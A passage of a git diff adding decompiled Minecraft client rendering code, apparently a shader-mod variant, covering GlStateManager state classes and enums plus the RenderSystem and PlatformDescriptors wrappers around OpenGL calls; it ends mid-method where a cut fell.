+ public static void getAlphaState(GlAlphaState p_getAlphaState_0_) + { + if (alphaLock.isLocked()) + { + p_getAlphaState_0_.setState(alphaLockState); + } + else + { + p_getAlphaState_0_.setState(ALPHA_TEST.test.currentState, ALPHA_TEST.func, ALPHA_TEST.ref); + } + } + + public static void setAlphaState(GlAlphaState p_setAlphaState_0_) + { + if (alphaLock.isLocked()) + { + alphaLockState.setState(p_setAlphaState_0_); + } + else + { + ALPHA_TEST.test.setEnabled(p_setAlphaState_0_.isEnabled()); + alphaFunc(p_setAlphaState_0_.getFunc(), p_setAlphaState_0_.getRef()); + } + } + + public static void lockBlend(GlBlendState p_lockBlend_0_) + { + if (!blendLock.isLocked()) + { + getBlendState(blendLockState); + setBlendState(p_lockBlend_0_); + blendLock.lock(); + } + } + + public static void unlockBlend() + { + if (blendLock.unlock()) + { + setBlendState(blendLockState); + } + } + + public static void getBlendState(GlBlendState p_getBlendState_0_) + { + if (blendLock.isLocked()) + { + p_getBlendState_0_.setState(blendLockState); + } + else + { + p_getBlendState_0_.setState(BLEND.blend.currentState, BLEND.srcFactorRgb, BLEND.dstFactorRgb, BLEND.srcFactorAlpha, BLEND.dstFactorAlpha); + } + } + + public static void setBlendState(GlBlendState p_setBlendState_0_) + { + if (blendLock.isLocked()) + { + blendLockState.setState(p_setBlendState_0_); + } + else + { + BLEND.blend.setEnabled(p_setBlendState_0_.isEnabled()); + + if (!p_setBlendState_0_.isSeparate()) + { + blendFunc(p_setBlendState_0_.getSrcFactor(), p_setBlendState_0_.getDstFactor()); + } + else + { + blendFuncSeparate(p_setBlendState_0_.getSrcFactor(), p_setBlendState_0_.getDstFactor(), p_setBlendState_0_.getSrcFactorAlpha(), p_setBlendState_0_.getDstFactorAlpha()); + } + } + } + + public static void lockCull(GlCullState p_lockCull_0_) + { + if (!cullLock.isLocked()) + { + getCullState(cullLockState); + setCullState(p_lockCull_0_); + cullLock.lock(); + } + } + + public static void unlockCull() + { + if (cullLock.unlock()) + { + setCullState(cullLockState); + } + } + + public static void getCullState(GlCullState p_getCullState_0_) + { + if (cullLock.isLocked()) + { + p_getCullState_0_.setState(cullLockState); + } + else + { + p_getCullState_0_.setState(CULL.cullFace.currentState, CULL.mode); + } + } + + public static void setCullState(GlCullState p_setCullState_0_) + { + if (cullLock.isLocked()) + { + cullLockState.setState(p_setCullState_0_); + } + else + { + CULL.cullFace.setEnabled(p_setCullState_0_.isEnabled()); + CULL.mode = p_setCullState_0_.getMode(); + } + } + + public static void glMultiDrawArrays(int p_glMultiDrawArrays_0_, IntBuffer p_glMultiDrawArrays_1_, IntBuffer p_glMultiDrawArrays_2_) + { + GL14.glMultiDrawArrays(p_glMultiDrawArrays_0_, p_glMultiDrawArrays_1_, p_glMultiDrawArrays_2_); + + if (Config.isShaders() && !creatingDisplayList) + { + int i = Shaders.activeProgram.getCountInstances(); + + if (i > 1) + { + for (int j = 1; j < i; ++j) + { + Shaders.uniform_instanceId.setValue(j); + GL14.glMultiDrawArrays(p_glMultiDrawArrays_0_, p_glMultiDrawArrays_1_, p_glMultiDrawArrays_2_); + } + + Shaders.uniform_instanceId.setValue(0); + } + } + } + + public static void clear(int p_clear_0_) + { + clear(p_clear_0_, false); + } + + public static void callLists(IntBuffer p_callLists_0_) + { + GL11.glCallLists(p_callLists_0_); + + if (Config.isShaders() && !creatingDisplayList) + { + int i = Shaders.activeProgram.getCountInstances(); + + if (i > 1) + { + for (int j = 1; j < i; ++j) + { + Shaders.uniform_instanceId.setValue(j); + GL11.glCallLists(p_callLists_0_); + } + + Shaders.uniform_instanceId.setValue(0); + } + } + } + + public static void bufferData(int p_bufferData_0_, long p_bufferData_1_, int p_bufferData_3_) + { + GL15.glBufferData(p_bufferData_0_, p_bufferData_1_, p_bufferData_3_); + } + + public static void bufferSubData(int p_bufferSubData_0_, long p_bufferSubData_1_, ByteBuffer p_bufferSubData_3_) + { + GL15.glBufferSubData(p_bufferSubData_0_, p_bufferSubData_1_, p_bufferSubData_3_); + } + + public static void copyBufferSubData(int p_copyBufferSubData_0_, int p_copyBufferSubData_1_, long p_copyBufferSubData_2_, long p_copyBufferSubData_4_, long p_copyBufferSubData_6_) + { + if (openGL31) + { + GL31.glCopyBufferSubData(p_copyBufferSubData_0_, p_copyBufferSubData_1_, p_copyBufferSubData_2_, p_copyBufferSubData_4_, p_copyBufferSubData_6_); + } + else + { + ARBCopyBuffer.glCopyBufferSubData(p_copyBufferSubData_0_, p_copyBufferSubData_1_, p_copyBufferSubData_2_, p_copyBufferSubData_4_, p_copyBufferSubData_6_); + } + } + + public static boolean isFogAllowed() + { + return fogAllowed; + } + + public static void setFogAllowed(boolean p_setFogAllowed_0_) + { + fogAllowed = p_setFogAllowed_0_; + } + + public static void lockClientState() + { + clientStateLocked = true; + } + + public static void unlockClientState() + { + clientStateLocked = false; + } + + @Deprecated + static class AlphaState + { + public final GlStateManager.BooleanState test = new GlStateManager.BooleanState(3008); + public int func = 519; + public float ref = -1.0F; + + private AlphaState() + { + } + } + + static class BlendState + { + public final GlStateManager.BooleanState blend = new GlStateManager.BooleanState(3042); + public int srcFactorRgb = 1; + public int dstFactorRgb = 0; + public int srcFactorAlpha = 1; + public int dstFactorAlpha = 0; + + private BlendState() + { + } + } + + static class BooleanState + { + private final int capability; + private boolean currentState; + + public BooleanState(int capability) + { + this.capability = capability; + } + + public void disable() + { + this.setEnabled(false); + } + + public void enable() + { + this.setEnabled(true); + } + + public void setEnabled(boolean enabled) + { + RenderSystem.assertThread(RenderSystem::isOnRenderThreadOrInit); + + if (enabled != this.currentState) + { + this.currentState = enabled; + + if (enabled) + { + GL11.glEnable(this.capability); + } + else + { + GL11.glDisable(this.capability); + } + } + } + } + + @Deprecated + static class Color + { + public float red = 1.0F; + public float green = 1.0F; + public float blue = 1.0F; + public float alpha = 1.0F; + + public Color() + { + this(1.0F, 1.0F, 1.0F, 1.0F); + } + + public Color(float red, float green, float blue, float alpha) + { + this.red = red; + this.green = green; + this.blue = blue; + this.alpha = alpha; + } + } + + static class ColorLogicState + { + public final GlStateManager.BooleanState colorLogicOp = new GlStateManager.BooleanState(3058); + public int logicOpcode = 5379; + + private ColorLogicState() + { + } + } + + static class ColorMask + { + public boolean red = true; + public boolean green = true; + public boolean blue = true; + public boolean alpha = true; + + private ColorMask() + { + } + } + + @Deprecated + static class ColorMaterialState + { + public final GlStateManager.BooleanState colorMaterial = new GlStateManager.BooleanState(2903); + public int face = 1032; + public int mode = 5634; + + private ColorMaterialState() + { + } + } + + static class CullState + { + public final GlStateManager.BooleanState cullFace = new GlStateManager.BooleanState(2884); + public int mode = 1029; + + private CullState() + { + } + } + + static class DepthState + { + public final GlStateManager.BooleanState test = new GlStateManager.BooleanState(2929); + public boolean mask = true; + public int func = 513; + + private DepthState() + { + } + } + + public static enum DestFactor + { + CONSTANT_ALPHA(32771), + CONSTANT_COLOR(32769), + DST_ALPHA(772), + DST_COLOR(774), + ONE(1), + ONE_MINUS_CONSTANT_ALPHA(32772), + ONE_MINUS_CONSTANT_COLOR(32770), + ONE_MINUS_DST_ALPHA(773), + ONE_MINUS_DST_COLOR(775), + ONE_MINUS_SRC_ALPHA(771), + ONE_MINUS_SRC_COLOR(769), + SRC_ALPHA(770), + SRC_COLOR(768), + ZERO(0); + + public final int param; + + private DestFactor(int param) + { + this.param = param; + } + } + + @Deprecated + public static enum FogMode + { + LINEAR(9729), + EXP(2048), + EXP2(2049); + + public final int param; + + private FogMode(int param) + { + this.param = param; + } + } + + @Deprecated + static class FogState + { + public final GlStateManager.BooleanState fog = new GlStateManager.BooleanState(2912); + public int mode = 2048; + public float density = 1.0F; + public float start; + public float end = 1.0F; + + private FogState() + { + } + } + + public static enum FramebufferExtension + { + BASE, + ARB, + EXT; + } + + public static enum LogicOp + { + AND(5377), + AND_INVERTED(5380), + AND_REVERSE(5378), + CLEAR(5376), + COPY(5379), + COPY_INVERTED(5388), + EQUIV(5385), + INVERT(5386), + NAND(5390), + NOOP(5381), + NOR(5384), + OR(5383), + OR_INVERTED(5389), + OR_REVERSE(5387), + SET(5391), + XOR(5382); + + public final int opcode; + + private LogicOp(int opCode) + { + this.opcode = opCode; + } + } + + static class PolygonOffsetState + { + public final GlStateManager.BooleanState polyOffset = new GlStateManager.BooleanState(32823); + public final GlStateManager.BooleanState lineOffset = new GlStateManager.BooleanState(10754); + public float factor; + public float units; + + private PolygonOffsetState() + { + } + } + + static class ScissorState + { + public final GlStateManager.BooleanState field_244595_a = new GlStateManager.BooleanState(3089); + + private ScissorState() + { + } + } + + public static enum SourceFactor + { + CONSTANT_ALPHA(32771), + CONSTANT_COLOR(32769), + DST_ALPHA(772), + DST_COLOR(774), + ONE(1), + ONE_MINUS_CONSTANT_ALPHA(32772), + ONE_MINUS_CONSTANT_COLOR(32770), + ONE_MINUS_DST_ALPHA(773), + ONE_MINUS_DST_COLOR(775), + ONE_MINUS_SRC_ALPHA(771), + ONE_MINUS_SRC_COLOR(769), + SRC_ALPHA(770), + SRC_ALPHA_SATURATE(776), + SRC_COLOR(768), + ZERO(0); + + public final int param; + + private SourceFactor(int param) + { + this.param = param; + } + } + + static class StencilFunc + { + public int func = 519; + public int ref; + public int mask = -1; + + private StencilFunc() + { + } + } + + static class StencilState + { + public final GlStateManager.StencilFunc func = new GlStateManager.StencilFunc(); + public int mask = -1; + public int sfail = 7680; + public int dpfail = 7680; + public int dppass = 7680; + + private StencilState() + { + } + } + + public static enum SupportType + { + BASE, + EXT, + NONE; + } + + @Deprecated + public static enum TexGen + { + S, + T, + R, + Q; + } + + @Deprecated + static class TexGenCoord + { + public final GlStateManager.BooleanState textureGen; + public final int coord; + public int mode = -1; + + public TexGenCoord(int coord, int textureGen) + { + this.coord = coord; + this.textureGen = new GlStateManager.BooleanState(textureGen); + } + } + + @Deprecated + static class TexGenState + { + public final GlStateManager.TexGenCoord s = new GlStateManager.TexGenCoord(8192, 3168); + public final GlStateManager.TexGenCoord t = new GlStateManager.TexGenCoord(8193, 3169); + public final GlStateManager.TexGenCoord r = new GlStateManager.TexGenCoord(8194, 3170); + public final GlStateManager.TexGenCoord q = new GlStateManager.TexGenCoord(8195, 3171); + + private TexGenState() + { + } + } + + static class TextureState + { + public final GlStateManager.BooleanState texture2DState = new GlStateManager.BooleanState(3553); + public int textureName; + + private TextureState() + { + } + } + + public static enum Viewport + { + INSTANCE; + + protected int x; + protected int y; + protected int w; + protected int h; + } +} diff --git a/src/com/mojang/blaze3d/platform/PlatformDescriptors.java b/src/com/mojang/blaze3d/platform/PlatformDescriptors.java new file mode 100644 index 00000000..296b7a0f --- /dev/null +++ b/src/com/mojang/blaze3d/platform/PlatformDescriptors.java @@ -0,0 +1,24 @@ +package com.mojang.blaze3d.platform; + +public class PlatformDescriptors +{ + public static String getGlVendor() + { + return GlStateManager.getString(7936); + } + + public static String getCpuInfo() + { + return GLX._getCpuInfo(); + } + + public static String getGlRenderer() + { + return GlStateManager.getString(7937); + } + + public static String getGlVersion() + { + return GlStateManager.getString(7938); + } +} diff --git a/src/com/mojang/blaze3d/platform/package-info.java b/src/com/mojang/blaze3d/platform/package-info.java new file mode 100644 index 00000000..814400b2 --- /dev/null +++ b/src/com/mojang/blaze3d/platform/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.blaze3d.platform; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/blaze3d/systems/IRenderCall.java b/src/com/mojang/blaze3d/systems/IRenderCall.java new file mode 100644 index 00000000..5c32c45e --- /dev/null +++ b/src/com/mojang/blaze3d/systems/IRenderCall.java @@ -0,0 +1,6 @@ +package com.mojang.blaze3d.systems; + +public interface IRenderCall +{ + void execute(); +} diff --git a/src/com/mojang/blaze3d/systems/RenderSystem.java b/src/com/mojang/blaze3d/systems/RenderSystem.java new file mode 100644 index 00000000..ea30619f --- /dev/null +++ b/src/com/mojang/blaze3d/systems/RenderSystem.java @@ -0,0 +1,994 @@ +package com.mojang.blaze3d.systems; + +import com.google.common.collect.Queues; +import com.mojang.blaze3d.platform.GLX; +import com.mojang.blaze3d.platform.GlStateManager; +import java.nio.ByteBuffer; +import java.nio.FloatBuffer; +import java.nio.IntBuffer; +import java.util.concurrent.ConcurrentLinkedQueue; +import java.util.function.Consumer; +import java.util.function.IntSupplier; +import java.util.function.LongSupplier; +import java.util.function.Supplier; +import net.minecraft.client.GameSettings; +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.settings.GraphicsFanciness; +import net.minecraft.util.math.vector.Matrix4f; +import net.minecraft.util.math.vector.Vector3f; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.lwjgl.glfw.GLFW; +import org.lwjgl.glfw.GLFWErrorCallbackI; + +public class RenderSystem +{ + private static final Logger LOGGER = LogManager.getLogger(); + private static final ConcurrentLinkedQueue recordingQueue = Queues.newConcurrentLinkedQueue(); + private static final Tessellator RENDER_THREAD_TESSELATOR = new Tessellator(); + public static final float DEFAULTALPHACUTOFF = 0.1F; + private static final int MINIMUM_ATLAS_TEXTURE_SIZE = 1024; + private static boolean isReplayingQueue; + private static Thread gameThread; + private static Thread renderThread; + private static int MAX_SUPPORTED_TEXTURE_SIZE = -1; + private static boolean isInInit; + private static double lastDrawTime = Double.MIN_VALUE; + + public static void initRenderThread() + { + if (renderThread == null && gameThread != Thread.currentThread()) + { + renderThread = Thread.currentThread(); + } + else + { + throw new IllegalStateException("Could not initialize render thread"); + } + } + + public static boolean isOnRenderThread() + { + return Thread.currentThread() == renderThread; + } + + public static boolean isOnRenderThreadOrInit() + { + return isInInit || isOnRenderThread(); + } + + public static void initGameThread(boolean p_initGameThread_0_) + { + boolean flag = renderThread == Thread.currentThread(); + + if (gameThread == null && renderThread != null && flag != p_initGameThread_0_) + { + gameThread = Thread.currentThread(); + } + else + { + throw new IllegalStateException("Could not initialize tick thread"); + } + } + + public static boolean isOnGameThread() + { + return true; + } + + public static boolean isOnGameThreadOrInit() + { + return isInInit || isOnGameThread(); + } + + public static void assertThread(Supplier p_assertThread_0_) + { + if (!p_assertThread_0_.get()) + { + throw new IllegalStateException("Rendersystem called from wrong thread"); + } + } + + public static boolean isInInitPhase() + { + return true; + } + + public static void recordRenderCall(IRenderCall p_recordRenderCall_0_) + { + recordingQueue.add(p_recordRenderCall_0_); + } + + public static void flipFrame(long p_flipFrame_0_) + { + GLFW.glfwPollEvents(); + replayQueue(); + Tessellator.getInstance().getBuffer().reset(); + GLFW.glfwSwapBuffers(p_flipFrame_0_); + GLFW.glfwPollEvents(); + } + + public static void replayQueue() + { + isReplayingQueue = true; + + while (!recordingQueue.isEmpty()) + { + IRenderCall irendercall = recordingQueue.poll(); + irendercall.execute(); + } + + isReplayingQueue = false; + } + + public static void limitDisplayFPS(int p_limitDisplayFPS_0_) + { + double d0 = lastDrawTime + 1.0D / (double)p_limitDisplayFPS_0_; + double d1; + + for (d1 = GLFW.glfwGetTime(); d1 < d0; d1 = GLFW.glfwGetTime()) + { + GLFW.glfwWaitEventsTimeout(d0 - d1); + } + + lastDrawTime = d1; + } + + @Deprecated + public static void pushLightingAttributes() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.pushLightingAttributes(); + } + + @Deprecated + public static void pushTextureAttributes() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.pushTextureAttributes(); + } + + @Deprecated + public static void popAttributes() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.popAttributes(); + } + + @Deprecated + public static void disableAlphaTest() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableAlphaTest(); + } + + @Deprecated + public static void enableAlphaTest() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableAlphaTest(); + } + + @Deprecated + public static void alphaFunc(int p_alphaFunc_0_, float p_alphaFunc_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.alphaFunc(p_alphaFunc_0_, p_alphaFunc_1_); + } + + @Deprecated + public static void enableLighting() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableLighting(); + } + + @Deprecated + public static void disableLighting() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableLighting(); + } + + @Deprecated + public static void enableColorMaterial() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableColorMaterial(); + } + + @Deprecated + public static void disableColorMaterial() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableColorMaterial(); + } + + @Deprecated + public static void colorMaterial(int p_colorMaterial_0_, int p_colorMaterial_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.colorMaterial(p_colorMaterial_0_, p_colorMaterial_1_); + } + + @Deprecated + public static void normal3f(float p_normal3f_0_, float p_normal3f_1_, float p_normal3f_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.normal3f(p_normal3f_0_, p_normal3f_1_, p_normal3f_2_); + } + + public static void disableDepthTest() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableDepthTest(); + } + + public static void enableDepthTest() + { + assertThread(RenderSystem::isOnGameThreadOrInit); + GlStateManager.enableDepthTest(); + } + + public static void enableScissor(int p_enableScissor_0_, int p_enableScissor_1_, int p_enableScissor_2_, int p_enableScissor_3_) + { + assertThread(RenderSystem::isOnGameThreadOrInit); + GlStateManager.func_244594_k(); + GlStateManager.func_244592_a(p_enableScissor_0_, p_enableScissor_1_, p_enableScissor_2_, p_enableScissor_3_); + } + + public static void disableScissor() + { + assertThread(RenderSystem::isOnGameThreadOrInit); + GlStateManager.func_244593_j(); + } + + public static void depthFunc(int p_depthFunc_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.depthFunc(p_depthFunc_0_); + } + + public static void depthMask(boolean p_depthMask_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.depthMask(p_depthMask_0_); + } + + public static void enableBlend() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableBlend(); + } + + public static void disableBlend() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableBlend(); + } + + public static void blendFunc(GlStateManager.SourceFactor p_blendFunc_0_, GlStateManager.DestFactor p_blendFunc_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.blendFunc(p_blendFunc_0_.param, p_blendFunc_1_.param); + } + + public static void blendFunc(int p_blendFunc_0_, int p_blendFunc_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.blendFunc(p_blendFunc_0_, p_blendFunc_1_); + } + + public static void blendFuncSeparate(GlStateManager.SourceFactor p_blendFuncSeparate_0_, GlStateManager.DestFactor p_blendFuncSeparate_1_, GlStateManager.SourceFactor p_blendFuncSeparate_2_, GlStateManager.DestFactor p_blendFuncSeparate_3_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.blendFuncSeparate(p_blendFuncSeparate_0_.param, p_blendFuncSeparate_1_.param, p_blendFuncSeparate_2_.param, p_blendFuncSeparate_3_.param); + } + + public static void blendFuncSeparate(int p_blendFuncSeparate_0_, int p_blendFuncSeparate_1_, int p_blendFuncSeparate_2_, int p_blendFuncSeparate_3_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.blendFuncSeparate(p_blendFuncSeparate_0_, p_blendFuncSeparate_1_, p_blendFuncSeparate_2_, p_blendFuncSeparate_3_); + } + + public static void blendEquation(int p_blendEquation_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.blendEquation(p_blendEquation_0_); + } + + public static void blendColor(float p_blendColor_0_, float p_blendColor_1_, float p_blendColor_2_, float p_blendColor_3_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.blendColor(p_blendColor_0_, p_blendColor_1_, p_blendColor_2_, p_blendColor_3_); + } + + @Deprecated + public static void enableFog() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableFog(); + } + + @Deprecated + public static void disableFog() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableFog(); + } + + @Deprecated + public static void fogMode(GlStateManager.FogMode p_fogMode_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.fogMode(p_fogMode_0_.param); + } + + @Deprecated + public static void fogMode(int p_fogMode_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.fogMode(p_fogMode_0_); + } + + @Deprecated + public static void fogDensity(float p_fogDensity_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.fogDensity(p_fogDensity_0_); + } + + @Deprecated + public static void fogStart(float p_fogStart_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.fogStart(p_fogStart_0_); + } + + @Deprecated + public static void fogEnd(float p_fogEnd_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.fogEnd(p_fogEnd_0_); + } + + @Deprecated + public static void fog(int p_fog_0_, float p_fog_1_, float p_fog_2_, float p_fog_3_, float p_fog_4_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.fog(p_fog_0_, new float[] {p_fog_1_, p_fog_2_, p_fog_3_, p_fog_4_}); + } + + @Deprecated + public static void fogi(int p_fogi_0_, int p_fogi_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.fogi(p_fogi_0_, p_fogi_1_); + } + + public static void enableCull() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableCull(); + } + + public static void disableCull() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableCull(); + } + + public static void polygonMode(int p_polygonMode_0_, int p_polygonMode_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.polygonMode(p_polygonMode_0_, p_polygonMode_1_); + } + + public static void enablePolygonOffset() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enablePolygonOffset(); + } + + public static void disablePolygonOffset() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disablePolygonOffset(); + } + + public static void enableLineOffset() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableLineOffset(); + } + + public static void disableLineOffset() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableLineOffset(); + } + + public static void polygonOffset(float p_polygonOffset_0_, float p_polygonOffset_1_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.polygonOffset(p_polygonOffset_0_, p_polygonOffset_1_); + } + + public static void enableColorLogicOp() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableColorLogicOp(); + } + + public static void disableColorLogicOp() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableColorLogicOp(); + } + + public static void logicOp(GlStateManager.LogicOp p_logicOp_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.logicOp(p_logicOp_0_.opcode); + } + + public static void activeTexture(int p_activeTexture_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.activeTexture(p_activeTexture_0_); + } + + public static void enableTexture() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableTexture(); + } + + public static void disableTexture() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableTexture(); + } + + public static void texParameter(int p_texParameter_0_, int p_texParameter_1_, int p_texParameter_2_) + { + GlStateManager.texParameter(p_texParameter_0_, p_texParameter_1_, p_texParameter_2_); + } + + public static void deleteTexture(int p_deleteTexture_0_) + { + assertThread(RenderSystem::isOnGameThreadOrInit); + GlStateManager.deleteTexture(p_deleteTexture_0_); + } + + public static void bindTexture(int p_bindTexture_0_) + { + GlStateManager.bindTexture(p_bindTexture_0_); + } + + @Deprecated + public static void shadeModel(int p_shadeModel_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.shadeModel(p_shadeModel_0_); + } + + @Deprecated + public static void enableRescaleNormal() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.enableRescaleNormal(); + } + + @Deprecated + public static void disableRescaleNormal() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.disableRescaleNormal(); + } + + public static void viewport(int p_viewport_0_, int p_viewport_1_, int p_viewport_2_, int p_viewport_3_) + { + assertThread(RenderSystem::isOnGameThreadOrInit); + GlStateManager.viewport(p_viewport_0_, p_viewport_1_, p_viewport_2_, p_viewport_3_); + } + + public static void colorMask(boolean p_colorMask_0_, boolean p_colorMask_1_, boolean p_colorMask_2_, boolean p_colorMask_3_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.colorMask(p_colorMask_0_, p_colorMask_1_, p_colorMask_2_, p_colorMask_3_); + } + + public static void stencilFunc(int p_stencilFunc_0_, int p_stencilFunc_1_, int p_stencilFunc_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.stencilFunc(p_stencilFunc_0_, p_stencilFunc_1_, p_stencilFunc_2_); + } + + public static void stencilMask(int p_stencilMask_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.stencilMask(p_stencilMask_0_); + } + + public static void stencilOp(int p_stencilOp_0_, int p_stencilOp_1_, int p_stencilOp_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.stencilOp(p_stencilOp_0_, p_stencilOp_1_, p_stencilOp_2_); + } + + public static void clearDepth(double p_clearDepth_0_) + { + assertThread(RenderSystem::isOnGameThreadOrInit); + GlStateManager.clearDepth(p_clearDepth_0_); + } + + public static void clearColor(float p_clearColor_0_, float p_clearColor_1_, float p_clearColor_2_, float p_clearColor_3_) + { + assertThread(RenderSystem::isOnGameThreadOrInit); + GlStateManager.clearColor(p_clearColor_0_, p_clearColor_1_, p_clearColor_2_, p_clearColor_3_); + } + + public static void clearStencil(int p_clearStencil_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.clearStencil(p_clearStencil_0_); + } + + public static void clear(int p_clear_0_, boolean p_clear_1_) + { + assertThread(RenderSystem::isOnGameThreadOrInit); + GlStateManager.clear(p_clear_0_, p_clear_1_); + } + + @Deprecated + public static void matrixMode(int p_matrixMode_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.matrixMode(p_matrixMode_0_); + } + + @Deprecated + public static void loadIdentity() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.loadIdentity(); + } + + @Deprecated + public static void pushMatrix() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.pushMatrix(); + } + + @Deprecated + public static void popMatrix() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.popMatrix(); + } + + @Deprecated + public static void ortho(double p_ortho_0_, double p_ortho_2_, double p_ortho_4_, double p_ortho_6_, double p_ortho_8_, double p_ortho_10_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.ortho(p_ortho_0_, p_ortho_2_, p_ortho_4_, p_ortho_6_, p_ortho_8_, p_ortho_10_); + } + + @Deprecated + public static void rotatef(float p_rotatef_0_, float p_rotatef_1_, float p_rotatef_2_, float p_rotatef_3_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.rotatef(p_rotatef_0_, p_rotatef_1_, p_rotatef_2_, p_rotatef_3_); + } + + @Deprecated + public static void scalef(float p_scalef_0_, float p_scalef_1_, float p_scalef_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.scalef(p_scalef_0_, p_scalef_1_, p_scalef_2_); + } + + @Deprecated + public static void scaled(double p_scaled_0_, double p_scaled_2_, double p_scaled_4_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.scaled(p_scaled_0_, p_scaled_2_, p_scaled_4_); + } + + @Deprecated + public static void translatef(float p_translatef_0_, float p_translatef_1_, float p_translatef_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.translatef(p_translatef_0_, p_translatef_1_, p_translatef_2_); + } + + @Deprecated + public static void translated(double p_translated_0_, double p_translated_2_, double p_translated_4_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.translated(p_translated_0_, p_translated_2_, p_translated_4_); + } + + @Deprecated + public static void multMatrix(Matrix4f p_multMatrix_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.multMatrix(p_multMatrix_0_); + } + + @Deprecated + public static void color4f(float p_color4f_0_, float p_color4f_1_, float p_color4f_2_, float p_color4f_3_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.color4f(p_color4f_0_, p_color4f_1_, p_color4f_2_, p_color4f_3_); + } + + @Deprecated + public static void color3f(float p_color3f_0_, float p_color3f_1_, float p_color3f_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.color4f(p_color3f_0_, p_color3f_1_, p_color3f_2_, 1.0F); + } + + @Deprecated + public static void clearCurrentColor() + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.clearCurrentColor(); + } + + public static void drawArrays(int p_drawArrays_0_, int p_drawArrays_1_, int p_drawArrays_2_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.drawArrays(p_drawArrays_0_, p_drawArrays_1_, p_drawArrays_2_); + } + + public static void lineWidth(float p_lineWidth_0_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.lineWidth(p_lineWidth_0_); + } + + public static void pixelStore(int p_pixelStore_0_, int p_pixelStore_1_) + { + assertThread(RenderSystem::isOnGameThreadOrInit); + GlStateManager.pixelStore(p_pixelStore_0_, p_pixelStore_1_); + } + + public static void pixelTransfer(int p_pixelTransfer_0_, float p_pixelTransfer_1_) + { + GlStateManager.pixelTransfer(p_pixelTransfer_0_, p_pixelTransfer_1_); + } + + public static void readPixels(int p_readPixels_0_, int p_readPixels_1_, int p_readPixels_2_, int p_readPixels_3_, int p_readPixels_4_, int p_readPixels_5_, ByteBuffer p_readPixels_6_) + { + assertThread(RenderSystem::isOnGameThread); + GlStateManager.readPixels(p_readPixels_0_, p_readPixels_1_, p_readPixels_2_, p_readPixels_3_, 